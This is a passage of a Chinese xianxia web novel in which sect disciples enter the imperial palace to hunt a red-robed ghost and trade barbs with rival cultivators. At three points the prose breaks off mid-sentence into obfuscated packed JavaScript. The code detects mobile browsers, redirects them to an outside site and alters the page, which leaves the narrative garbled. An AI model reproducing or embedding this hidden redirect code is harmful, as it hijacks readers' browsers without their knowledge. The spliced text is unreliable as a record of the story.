“不错,虽然这人有心隐藏身份,但一怒之下还是漏出了破绽,只是不知……这人在无端门是何身份。” 白石湫冷冷一笑:“修为如此高深,想必是个天才,师妹觉得,无端门内有如此天赋的有几人?” 莫临江不为所动道:“此人图谋甚大,难免有受他蛊惑之人暗藏门中,我只担心他们为达目的,会做出无法挽回的事情。” 白石湫道:“我会多加小心,也会告知师父,暗查地宗。” 来意已表明,莫临江也不多留,她一出门,桑荷便又闹了起来。 “白姑娘,你就给我一个报恩的机会吧!” 白石湫冷漠道:“我与你之间没有恩情。” “救命之恩不是恩吗?我发誓,只要我报了恩立马走人!不对,立马走妖!不多纠缠一刻!” 见白石湫不说话,他软下声道:“求求你了白姑娘,欠了恩情不还,这于修炼一途有碍啊!” “你的修炼一途有没有碍与我何干?” “有关系的有关系的!你人美心善,定不忍看我蹉跎一生……” 回到自己房间时,桑荷的声音已听不清了,莫临江不知后面说了什么,书环却听了个一清二楚。 她从屋外回来,同裴殊打趣道:“那只荷妖缠人的功夫真不一般。” 裴殊托着下巴望向窗外,听闻后不知如何弯弯绕绕的思考了一番,那双浅灰的眼眸平静的看向她:“你想学?” 书环:“……” “我哪有这个意思!” 她嘟囔着上前,坐在裴殊身边,轻轻扯了扯他的袖子。 “我有东西要给你。” 说着从乾坤袋中掏出一叠衣服,闭着眼睛推到了裴殊面前。 他掀起一看,发现是一叠黑色的衣服。 “裁缝铺?” 书环睁眼:“是,就是在那间裁缝铺订下的,我看惯了你穿黑色,所以选的也是黑色,不过多了些配饰。” 裴殊看着她,仅仅是多看了一眼,她便十分敏感的皱了皱眉,他微微一动,她又小心翼翼的看过来,如此行径,他怀疑只要他开口说不喜欢,她便会当场大哭起来。 不知是出于无奈还是怎的,他抱起那叠衣服转身到了屏风后,书环哇唔一声,背过身去,满心欢喜的等了起来。 这套衣服做工繁琐,裴殊花了好一会才整理妥帖,走出屏风时恰好窗外送进一股微风,将衣角和白发掀起恰到好处的弧度来。 书环看呆了,顶着一双掩藏不住欣喜的眼睛围着他转了两圈,暗自感慨自己真是给他绘了一副好皮相,冲着这张脸,即便他以后做了什么坏事她都可以原谅他。 “还缺了一点东西。” 书环将他推到梳妆台前,将半数白发用玉簪挽起。 此情此景竟真让她生出一种两人相伴多年的错觉,她付之一笑,将这个念头从脑海中赶出去,同裴殊道:“我们去街上走走吧。” 莫临江在思考门内之事,白石湫安抚好桑荷后在屋内练功,兰驿则不知去了何处,一群人之中只有两人十分悠闲的逛起了街。 此地临靠大山,市集上有许多售卖山货的村民,书环知道裴殊会医术,兴许会对药材感兴趣,于是带着他一一看过,他买,她付钱。 一连买了许多药材,将最后一朵灵芝放进乾坤袋后,裴殊朝她伸出手,书环一愣,把金子放在他手中,岂料他指尖一翻,就着手腕腾空的姿势把起脉来。 “你不会是想看我身体有没有不好的地方,想顺带着把药也买了吧?” “嗯。” “那……不会真的不太好吧?自从霉运散了以后,我没感觉到有哪里不舒服。” 裴殊收手,说了一句:“是不太好。”随即便看起药来。 书环愣了一下,急忙跟上:“不要太苦的!” 两人将市集逛了个大半,又往乾坤袋中添了几味药材,这时前方突然传来两道熟悉的声音。 “我送你的那套衣服那么好看,你为什么不穿?” “少主不让。” “那我攒下来的那包臭袜子呢?你是不是也没带?要是再遇到无端门那群人我拿什么对付他们?” “少主不让。” 歪七怒了:“那我们怎么欺负无端门那群人?” 扭八道:“少主不让!” “少主这也不让那也不让!他是明月楼的人还是无端门的人?” 两声说话间,一只毛茸茸的东西突然越过他们,朝前方的书环飞扑而来,裴殊欲出剑,书环快他一步将毛茸茸接住。 谢归川低喝一声:“清泽!” 书环任它在怀中蹭了几下,托起一看,竟是一只圆头圆身,看不出物种的白毛动物。 谢归川快步上前将它抱了回去。 “不甚惊扰了书姑娘,真是抱歉。” 书环一点也不觉得自己被惊扰了,甚至有点遗憾没能多抱一下,奈何谢归川已经把它收回到宽大的袖袍内,她不好开口讨要,只能意犹未尽的问一句:“它叫清泽?” 谢归川莞尔道:“清泽是我养的乞君,是一种山野精怪。” 在这里遇到谢归川实属正常,毕竟莫临江就在不远处的客栈内,让她意外的是,元清竟然也跟着他一起。 “书姐姐。” 歪七扭八各自翻了个白眼以示敬意。 谢归川看了眼裴殊的装束,笑道:“有些事要找莫少宗主,恐怕要扰两人的清闲了。” “无事,正好我们也逛的差不多了。” 几人回了客栈,书环注意到元清走路一瘸一拐,想来是受了很重的伤,想让裴殊帮忙瞧瞧,又怕元清受不了那苦出天际的药,遂放弃。 莫临江和白石湫前后脚出来,桑荷跟在后面,看见多了几人,十分活泼的挑了挑眉。 元清委屈巴巴的叫了一声师姐。 莫临江问他:“在哪里受的伤?” 元清把这些日子发生的事简单说了一下。 赵家村山下一别后,莫临江几人前往明月楼,元清则和其他几位同门在附近转了转,捉了一些作乱的小妖。 元清运气不好,捉妖途中惊扰了一头沉睡百年的老虎妖,虎妖谁也不咬就追着他杀,他一路逃一路求救,不知跑了多远,最后被逼到一处悬崖边,在跳崖而死和被撕咬成碎块进入老虎肚中抉择一番后,他选择了前者,谁知一跃而下后竟遇到了谢归川,这才没摔成一滩肉泥。 说到这,元清才想起问谢归川:“谢少主,这里离明月楼甚远,你来此处是为了捉妖吗?” 谢归川道:“我心中记挂赵家村一事,自明月楼分别后便前往蜀中寻开明道人,谁知早已人去楼空,本以为是白走一遭,不料却在一个角落里发现了这个。” 他拿出半块砚台,此物通体黑色,刻有一枝梅花,雕工精细恍若活物,是件难得的精品,只可惜被人毁去。 莫临江道:“断口老旧,想是被毁多年,却还存有一丝灵气,想必完整时是件难得的法器,这是开明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689774|184751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道人留在那里的?” “或许是。” 莫临江不知想到了什么,突然神情一滞,从乾坤袋中取出一块碎了的雕像。 那是被人毁去的山神像,挖出看完后被她随手收了起来,如今两物一对比,才发现二者雕刻的手法有些类似。 兰驿诧异道:“莫非是出自一人之手?” “也有可能只是用了同一种雕刻手法。” 他摇着扇子:“那这是不是有点太巧了?道人什么都没留下,偏偏留下一块碎了的砚台,雕刻手法还和多年前的山神像所用的手法类似,这真的像巧合吗?” 谢归川道:“可若不是巧合,那便是道人故意留下的,他想借此告诉我们这二者出于同一人或者同一个门派,那他突然消失,是否是因为知道了些什么?” 莫临江道:“许是如此。” “那我们的首要目的,便是辨认出这两件东西上的雕刻手法出自哪门哪派。” 元清补充道:“还有捉虎妖。” 书环也道:“还有那个诡异纸人。” 莫临江起身:“我同谢少主先去捉妖,你们留在客栈就行。” 谢归川将将起身,房门突然被风灌开,一团蠕动的黄色物体被扔了进来,“不用了,为师已经帮你们处理好了。” 来人一身素白,发丝若雪,看长相约莫三十余岁,每一处轮廓都带着岁月沉淀下来的味道,成熟稳重,不染凡尘。 莫临江率先开口,叫了一声师父,后面紧跟着一群不同身份的人喊出的不同称呼。 谢归川道:“鹤宗主多年不见,修为越发高深了。” 鹤非白将他从头到脚看了一眼,笑道:“上一次见谢少主时你还尚存稚气,如今倒是越发能担起肩上的重担了。” 鹤非白为人宽厚,不喜争端,与谢归川这个死对头家的接班人见面并没有世人猜测中的面红耳赤,大打出手,反倒是看见书环三人时愣了一下。 “这几位小友有些面生。” 莫临江为他一一介绍:“书姑娘是赠予无端门蛇首的人,旁边这位裴公子是她好友,至于桑荷……” 白石湫接道:“是我新养的妖。” 鹤非白冲三人一颔首,继而说起今日之事。 “早在你传信说村中妖异或许与无端门有关时我就想走这一趟,奈何事务缠身,后面终于得空,却听闻你们跑去了明月楼做客,又辗转到此地,我发现了元清留下的求救信号一路寻来,途中顺便捉了只作乱的虎妖。” 虎妖被缚在捕妖网内,不住的冲人低吼,元清嘴一撇,有些委屈道:“就是它追了我一路。” 鹤非白拍拍他脑袋:“为师已经捉住它了。” 莫临江问道:“师父这次会在这里待多久?” “北方有妖异,门内弟子处理不了,我得过去看看,待不了多久,等会就走。另外,此次前来,还有一事。” 他郑重道:“凡间皇室已改头换面,皇宫中有妖邪作祟,司命宫的人处理不了,新帝下旨让两派三山四世家都要派人入宫处理此事,他杀心极重,为表重视,门主派了你和白少宗主两人主理此事,其余随从人员你们自己安排。” 说完目光将屋内角落挨个扫了个遍,问道:“兰驿呢?” “外出散心去了。” 鹤非白无可奈何的摇摇头:“他啊,还是这个样子,临江你出来,同我说说赵家村那件事。” 两人前脚刚走,后脚就有明月楼的弟子前来送信,信中内容如鹤非白所说,谢归川将信纸一折,对回来的莫临江道:“莫少宗主,看来我们又要同行了。” 碰巧兰驿提着一个沉甸甸的袋子回来:“什么同行?” 他潇洒的一坐,从里面摸出个铜镜,照了照自己的脸,大约是不满意,往旁边一放,又从袋中摸出一个。 莫临江问他:“还没放弃?” 兰驿道:“谁让师父不把那面镜子给我。” “他刚走,你现在去找他要还来得及。” 兰驿顿住:“那还是算了。” 他把铜镜挨个收起来,问道:“人这么齐,是有什么事吗?” 莫临江道:“有,进京。” 42. 阴阳 京都建阳是整个大周最繁荣的地方,自城门而入,一条宽阔街道铺向远方,两侧屋舍林立,五花八门的商铺依次并开,光是看店铺名便叫人看花了眼,还有许多挑着扁担的商贩游走街头,一时间叫卖声不绝于耳,抬眼望去,参天古树的掩映下,一座座高台楼阁尊容半现,以高傲的姿态俯视着这群外来人员。 如此热闹的场面中,行人的神态却都带着一丝紧绷。 兰驿不解:“有一点怪怪的。” 书环指着路面无法处理掉的打斗痕迹道:“或许是这里不久前才发生过一场恶战吧。” 兰驿道了句何苦来哉,挥着扇子分享自己听到的消息。 “师父说这位新帝杀心极重那可真是一点没说错,据传他是武将之后,先帝忌惮其父,随意捏了个罪名将他家抄了,却偏偏留下他同家中女眷一起流放,他蛰伏多年,养精蓄锐,终于趁着先帝重病杀了回来,坐上皇位后的第一件事,就是将国号连同皇城内外挨个换了名字,连一条小巷都不放过。” 书环道:“他一定很恨先帝。” “那是当然,血海深仇呢!” 元清则在担心别的东西:“这位新帝脾气如此不好,不会一个不甚就把我们杀了吧?” 谢归川默不作声的听着众人说了一大堆,这才笑意盈盈道:“新帝登基,根基不稳,再怎么脾气不好也不会对我们这种大门派动手。” “有道理。” 进皇宫前还需将书环手里的稿子先卖出去。 几人一番打听,找了一家号称分店众多的书坊,将稿子递了一部分过去,店主看了个开头便立马决定要出版此书,并拍着胸脯向书环保证会让它火遍大江南北,两人商议了一番书名,并约定好分成和下一次的交稿日期后,这才向皇宫走去。 走了约莫半个时辰,依稀能看见皇宫的影子,白石湫突然皱眉,十分难耐的说了一句:“好重的怨气。” 在她眼中,这座都城上空盘踞着浓厚的怨气,已经到了遮天蔽日的地步。 书环看不见,但并不妨碍她害怕,裴殊看向自己被死死攥着的袖子良久,最终什么话都没说。 离皇宫越近,目之所及的建筑越发巍峨严肃,一股无形的压迫悄然悬空在众人头顶。 宫门前,几位侍者侯于此处,一见来人便道:“诸位可是奉旨前来捉妖的道君?” 莫临江道:“无端门。” 谢归川道:“明月楼。” 为首的侍者一顿,吩咐道:“先带诸位道君去住处歇息。” 众人被领着进了宫门,为首那位侍者留在原地,他的低声疑惑被风送入众人耳中。 “奇怪,无端门和明月楼不是向来不对付吗?今天怎么走在一起了?” 谢归川抬眼,不动声色的看向莫临江,对方手执长剑,仍是那副恍若仙人行于世间的模样,不染凡尘,亦未将注意力分给他分毫。 两道高墙将湛蓝的天分割成规整的长条,书环数着,看见第十六片天的时候,侍者分成两批,将他们引进了两座相邻的宫殿。 “明月楼的道君住昌明宫,无端门的道君住文华宫,衣食住行都已安排妥当,若缺了什么法器符纸一类尽可吩咐侍者,他们会去司命宫的库房取,整个内廷都可以随意行走,但请各位道君谨记,陛下所居的永宁殿绝不能踏入一步,好了,诸位道君赶路多日,想必也累了,奴才就不打扰了。” 侍者说完将殿门合上,留给他们一座静谧的宫殿。 先帝在位时期极尽奢靡,大兴土木,宫殿修得繁复精美,除却一座主殿外,还有后殿侧殿暖房等大大小小将近二十余间房,宫中随处可见珍稀花草,西角处挖了块水池,养了满池的莲花,一方凉亭立于其中,亭内还摆着一张稀世古琴,池边弱柳扶风。 整座文华宫无论从哪个角度看去都找不出一丝不妥之处,而这只是众多宫殿中的一处,兰驿感慨,如此奢靡,难怪会亡国。 元清左右瞧了瞧:“这里是后宫,两派三山四世家的人住这,后妃又住哪?” 所有人里只有书环愿意同他聊这些:“要么后妃住在其他宫殿,要么新帝压根没后妃。” 吱呀一声,身后的殿门被人轻缓推开,本应住在隔壁的谢归川不知何时来到门外,笑意盈盈道:“莫少宗主,在下正打算在后宫中查探一番,诸位要同行吗?” 莫临江尚未应他,白石湫便率先一步踏出殿门,走在了最前面,从头到脚写满了不想跟他们沾边。 众人不以为意,不快不慢的跟在后面,与她和桑荷之间隔了一段距离。 歪七和扭八从后面凑上来,因在皇宫,他们十分难得穿了件正常衣服,关心道:“书姑娘,听说你受了伤,养好了吗?” “多谢你们的关系,几日前就好了。” “好了就行,像书姑娘这样善良的人不多了……” 歪七说着被扭八提着脖子拎走了。 “哥你干嘛!我话还没说完呢!” “说什么说!专心干事!” 书环被这两兄弟弄得一头雾水,一转头,发现裴殊正盯着她看,她摸了摸自己的脸。 “我脸上有什么东西吗?” “没有。” “那你干嘛这样看着我?” 裴殊没有回答。 前方,白石湫正拉住一位宫女打听,对方见这群人大半都拿着各式法器,猜到他们是奉旨前来除妖的捉妖师,便将自己知道的事一一说了出来。 “昨天夜里,我听见正殿内有瓷器摔碎的声音,还伴随着几声猫叫,以为是野猫不小心跑了进去,找不到出来的路,担心它摔碎更多东西,便起床去看,谁知……谁知竟在院中的乌桕树下看见一个女鬼!” 白石湫蹙眉:“女鬼?什么模样?作何装扮?” 宫女咬着嘴唇道:“模样看不清,只记得她穿了一身红衣,披着一头黑发,好像在抬头看天。” 接连问了许多宫女侍者,他们给出的回答大多都是于某个夜里见到了鬼影,女鬼不是在哭就是在看天。 谢归川道:“这女鬼似乎一直徘徊在后宫,听起来倒像是宫中的妃子。” 歪七道:“宫中妃子多了去了,只是不知是哪一位皇帝的后妃?”说着看向书环,“书姑娘,你觉得呢?” 书环手里扯着裴殊宽大的衣袖,用袖角打结又解开,她这样玩了一路,如今被人问起正事,手上动作不停反快。 “宫中作乱的女鬼是近期才出现,这样一来,就可以排除前面的诸位君王,先帝和当今圣上两人的后妃符合女鬼的出现时间,而当今圣上即位不久,就算有后妃,也不可能在这个时间段死去,还化作厉鬼四处作乱,唯一的可能,便是这女鬼是先帝的妃子,死在了宫变中。” 谢归川听完后摇了摇扇子,又问道:“那书姑娘觉得,这女鬼是因何缘故徘徊不去?” “宫闱禁密,我哪里能猜到。” 两人对话间,莫临江又拦住一位宫女,向她打听先帝在位时后宫可有含冤或者抱憾而死的妃嫔。 对方疑惑的看了她们一眼:“那可太多了,您问的是哪一位?” 莫临江一滞,谢归川追问道:“有没有一位爱穿红衣的?” “没有。” 书环道:“那死前穿着红衣的呢?” 宫女像是听到什么骇人听闻的话,匆匆倒退两步,低着头跑了。 兰驿跟着对方逃去的身影挪动视线,直到彻底消失后才回头。 “奇怪,怎么一提到死前穿着红衣她就变得那么害怕?” 书环又打了个结:“要么那人很恐怖,要么那人不能提。” “偏偏我们必须弄清楚是哪一种,否则这鬼就没法捉。” 书环笑道:“说不定,司命宫的人就是因为这个才无法解决此事。” 说完,发现裴殊正一言不发的盯着自己。 “你又看我干嘛?” 他垂眸,落到被她攥着的衣袖上,书环看了一眼,发现原本平整垂坠的衣袖被她玩的皱皱巴巴,她尽力抚平,安抚他道:“买新的赔你,买两套!” 裴殊继续平视前方。 又走了一小段路,来到一处花园,这是宫女口中女鬼经常出现的地方,往里走了几步,迎面撞上一行人,约莫七八位,细分成两派,一派统一穿着素衣,腰间坠着葫芦,一派着淡紫长袍,眉间统一留有金色印记。 两派大约是碰巧遇上,正说着话,突然见一手执拂尘,身背古琴的黑衣女子缓步而来,正在闲聊的几人话头一止,纷纷见礼道:“白少宗主,好久不见。” 白石湫平淡的朝众人一颔首,为首那位紫衣女子多看了她一眼,身旁的男子道:“听闻两派三山四世家都要来人的时,我们便在猜想无端门来的人是谁,没想到是白少宗主。” 白石湫在年轻一辈中素有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724431|184751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 威名,是仅次于莫临江和谢归川两人的存在,加之她铁面无私的行事风格,很多人都猜测,她会是无端门下一个司刑使。 众人正欲再与她攀谈几句,忽见后方又走来一群人,为首的便是莫临江和谢归川,他们话头一顿,纷纷迎了上去。 “莫少宗主,久仰大名。” “谢少主,多年不见,修为越发高深了。” “莫少宗主,听闻你的阵术又精进了……” 在一堆恭维声中,一道分外阴毒的目光直射过来,书环敏锐的朝对方看去,发现正是那个为首的紫衣女子。 她用一种大部分人都能听清的声音同身侧男子道:“明明都是两派三山四世家的人,彼此也没个高低之分,为什么秦家的人对莫临江和谢归川如此谄媚,莫不是眼看着秦家要掉出四大家了,想抱两条大腿?” 原本表面和谐的氛围顿时被打破,现场陷入一片死寂。 她身侧的男子面色一僵:“师妹,慎言。” 说罢向众人致歉:“师妹不懂事,加之前些日子捉妖受了伤,心中郁结,先前的话,纯属无心之失。” 莫临江并不在意这些,秦家的人也不好为了一句话去追究,此事本该就此揭过,众人闲聊几句,然后装作什么事都没发生,就此离开,谁料那女子瞪了他一眼。 “师兄,我又没说错,你这么急着掩饰做什么?他们能做,我还不能说了?” “师妹。” 吴浮不理他,上前几步,一双尖窄的的眼硬撑出几分和善。 “莫少宗主为人淡泊,素有姑射仙子的美名,想必不会同我计较这些小事吧?” 书环记得这人,原书中的小反派。 姑射山历代山主只收两名弟子,吴浮便是其中之一,按理她才是真正的姑射仙子,奈何这美名被凡人安到了莫临江头上,她偏偏又于修为一途差了对方一大截,苦追多年后无果后渐渐记恨上了莫临江。 她话里带着明目张胆的恶意,谢归川摇扇子的手一顿,不等他出手,一道凌冽的寒光直冲吴浮眉心而去,何存眼疾手快的挡了下来,定睛一看,莫临江的拇指将青山白推出剑鞘两寸,仅仅是两寸,便足以让他严阵以待。 兰驿摇着扇子走到最前面,哎呀一声道:“吴仙子,你若是想同我师姐切磋就请直说,不必拐弯抹角,她很忙的,你若是不介意的话,我也是可以同你过几招的。” 吴浮不屑的瞪了他一眼:“你算个什么东西,在无端门排得上号吗就跟我说话?” 兰驿一愣,指着自己破声道:“我排不上号?我结交的好友多到一人一口唾沫能淹死你!你竟然说我排不上号!” “呵,惯会讨好人罢了!偏偏还要把自己夸的多么圣洁,你们无端门的人就是这样,嘴上说着为天下苍生,实际上龌龊事多着呢。” 白石湫冷冷道:“吴仙子,还请慎言。” 吴浮诧异的看她一眼,夸赞道:“白少宗主,我以前特别为你鸣不平,明明你才是天赋最出众,修行最努力,平乱最尽心的那个人,偏偏被一个不知道从哪冒出来的,随便修炼了两年的人给抢了风头,如今我倒觉得,您这股舍己为人的劲,是莫少宗主怎么也学不来的。” 说完,咯咯作笑,同一群人擦肩而过,眼神停留在书环和裴殊身上许久,何存强撑着同众人致歉:“师妹受幻妖所伤,神志不清,改日再带她同诸位道歉。” 说罢匆忙追了上去。 吴浮阴阳一通后心情舒畅,见何存追来,还有心情打趣他:“怎么,不同莫少宗主多聊几句。” 何存有些无奈:“师妹,你今天胆子真是太大了,莫临江是那么好惹的吗?” 吴浮不以为意:“她不是没跟我动真格吗?” “那是因为身在皇宫,若换了别的地方,你看她出不出剑,届时就算你我联手也不一定能打得过她。” 吴浮眯了眯眼,有些咬牙切齿:“这才多少年,就这么厉害了。” 何存也有些感慨:“是啊,她明明是接触修行最晚的一个,偏偏修为最高,还有个同样修为绝顶的师父,今日之事,最好不要传到鹤非白耳中,否则,免不了给姑射山找麻烦。” “怕什么,大不了找明月楼帮忙。” “可我听说……谢归川和莫临江走的很近。” 吴浮恶狠狠地盯着他,眸光中的恶意却是针对别人:“那就更不能让她过的太顺利!” 43. 分头行动 姑射山的人走后,秦家人硬着头皮聊了一会才离开,兰驿啧啧几声。 “这群人可真能折腾,师姐你千万别把吴浮的话放在心里。” 莫临江看了眼白石湫方才站的地方,此刻已空无一人,她把青山白按回剑鞘内,问他:“什么话?” 兰驿:“……” 谢归川失笑道:“走吧,继续在附近看看。” 众人在花园里转了几圈,书环把一些珍惜花草看了个遍,众人依旧没有任何发现,白石湫从远处回来,告诉他们女鬼只会在晚上出现。 莫临江道:“那我们先回去休息片刻,待到天黑时再出来。” 顺着来时路折返,谢归川三人在宫门处同她们分开,留下一句夜里见后,身影被殿门阻断。 莫临江垂眸,脸上看不出任何表情,回了文华宫后,心中十分怪异的生出一丝熟悉之感,她从袖中翻出一叠符分给众人。 “宫殿太大,若我们住在一处,难免不会遗漏一些动静,所以这几日大家先分开住,若遇妖鬼便点燃此符,其余人的符会自然,先燃起的一角就是点燃符纸的方向。此时天色尚早,大家先休息吧。” 莫临江说完,率先走进主殿,兰驿挥着扇去了竹园,元清看了看剩下的几人,摸着脑门去了一处角落。 白石湫随意推开一间殿门,转身关上,短短几个动作的功夫,桑荷已消失在两人眼前,屋内传出白石湫的质问声:“你跟进来做什么?” 桑荷理直气壮道:“睡觉啊!” “要睡觉自己去找地方。” “不行,我得守着你,万一你出了事,我的恩就报不了了!” “你出事了我也不会出事。” 桑荷压低声音道:“那可不一定,妖鬼都很狡猾的!不过你别担心,我也是妖,我清楚它们的习性,会保护你的!” 白石湫没有再说话,片刻后,屋内传出了琴声,如此刻苦,简直令书环无地自容,她拉着裴殊推开一扇院门,这处院落位于整个文华宫的东南角,院中种了许多花草,还有一颗巨大的桂花,可惜未到花期。 两人进到屋内,书环将几间屋子的布局大致看了看,一回头发现裴殊在脱外衣,她吓的往后一蹦。 “你干嘛?” 裴殊径直走来,在她诧异的目光中擦肩而过,走向了身后的浴室。 “沐浴。” 书环下意识的跟了上去,“有热水吗?” 只见裴殊单指掐诀,屏风后的突然传出水流声,紧接着一股热气缓缓腾起。 书环止住步伐,倒退两步,转身小跑离开,回到寝屋后她发觉不对,又跑回浴室门口问道:“裴殊,你修为是不是恢复了很多?” “嗯。” “我就知道。” 她慢慢踱了回去,心中既高兴又焦虑,高兴的是裴殊在一点点变好,焦虑的则是万一哪天他突然恢复记忆,两人的关系却没好到让他放下仇恨…… 头疼啊! 书环叹了口气,事已至此,先写文吧。 她掏出纸张,从头上取下曵骨,趴在桌前兴致勃勃的写了起来。不知过了多久,身侧突然多出一个高大的人影,抬头一看,裴殊换了件黑衣,发梢还在往下滴水。 “头发没干,我替你擦擦。” 她动作极快,拿过旁边的布巾裹着发梢揉搓起来,裴殊这头白发生得极好,柔顺光滑,不打结也不分叉,她垂涎了很久,如今终于逮到机会上手。 趁着她擦头发的间隙,裴殊拿起她写好的稿子看了起来,她这些日子一有空便提笔,已经写到上次同他说过的那部分。 “上次那个故事?” “是。” “你打算写个什么结局?” “小姐通过以死相逼,将事情外传等一系列方法,终于如愿嫁给穷书生,但丞相家并没有给她准备嫁妆,于是她只能带着陪嫁墨柳,过着吃了上顿没下顿的日子。” “嫁过去不到三日,小姐的婆婆开始嫌弃她五指不沾阳春水,说她不能吃苦,还多带了一张嘴过来,她辩白不过,穷书生的母亲便提议让墨柳给书生当妾,墨柳听闻后当即表演了一出中风,她的算盘打空,于是更加不喜小姐。” “后来,小姐的婆婆一边磋磨她,一边在书生那里挑拨离间,连带着书生也不喜小姐,加之墨柳日日吹耳边风,小姐终于耗尽了最后一点爱意,休掉穷书生后回到宰相府,重新当起了宰相的掌上明珠,而墨柳,她在此之后便重获自由,至于后面要做些什么……我还没有想好。” 裴殊问道:“那个穷书生呢?” “他啊,被休之后以为自己还能娶到更好的,结果没人要他,只能日日买醉,后面不甚掉进河里死了。” “死了?” “对,就是死了,背信弃义,违背誓言的人就该是这个下场。” 裴殊看她义愤填膺的挥了挥拳,突然心神一动,摸了摸额心的不世咒,问道:“你不喜这类人?” 书环昂首:“当然,喜欢一个人就得一心一意。” 说着,她眼珠子提溜一转:“比起这个,我更好奇,我在赵家村说书那日,你是不是躲在暗中偷听?” “不是偷听。” “那你就是真的听到了!”书环凑过去问他:“你当时藏在哪里?” 裴殊抬手,伸出两根手指,将她脑袋往旁边推开几分:“自己想。” “我哪里想的到!” 裴殊抬脚往外走,书环缠了上去:“你就告诉我吧!” 他恍若无闻。 书环压低嗓音紧紧跟在后面:“裴殊,裴汀州,裴公子,你发发善心告诉我吧,裴……” 裴殊突然停下,她一头装在结实的背肌上,身体晃了晃,他抬手扶住她的脑袋:“你不睡觉?” “我好奇,你不告诉我,我睡不着。” 她太执着了,一件小事都要刨根问底,这种执着让裴殊觉得莫名熟悉,他收手,转身的同时留下三个字:“在桃林。” “桃林?” 原来竟是在桃林。 “那你知道那里有一群半妖吗?” 她不知不觉间又跟了上去,裴殊突然止步,转身往回走,书环仍在喋喋不休。 “知道吗知道吗?” “猜到有问题,但不知道全是半妖。” “那你猜猜,皇宫里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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莫临江颔首:“有事记得点燃符纸。” 几人在元清的目送下同行出了门,书环下意识的朝隔壁宫门一看,果然,谢归川一身青衣站在门外,凤凰泣在夜色中发出淡淡红光,他主动走了过来。 兰驿主动道:“谢少主,好巧,你也要去查探女鬼的踪迹?” 谢归川的目光在人群中扫了一圈,最后落到莫临江身上:“不错,诸位是要一同前去?” “怎么可能,我们分开去?” “哦?”谢归川微微挑眉,“那莫少宗主去哪一处?” “蓬莱宫。”莫临江正视上谢归川的视线,他垂眸一笑:“真是有缘,在下也打算去蓬莱宫,不如同行?” 书环拉着裴殊悄无声息的隐入黑暗中,兰驿不知何时跟了上来,他的扇子收了起来,换了支萧做武器。 “搭子,我们顺路。” “莫姐姐和谢少主一起走了?” 兰驿手负在身后:“是的吧,他俩关系越来越好了。”说着看了一眼两人,“你们的关系也很好,真是令人羡慕啊!” “我也羡慕你,有那么多朋友。” “对哦!我的朋友遍布四海,何必去羡慕别人。” 行至岔路口,兰驿走上另一条路:“搭子,我们离得不远,有事记得叫我,万事小心。” “嗯。” 狭长的宫道上只剩下两人,书环手捧地图,拐了十余个弯后终于到达目的地——兰照宫。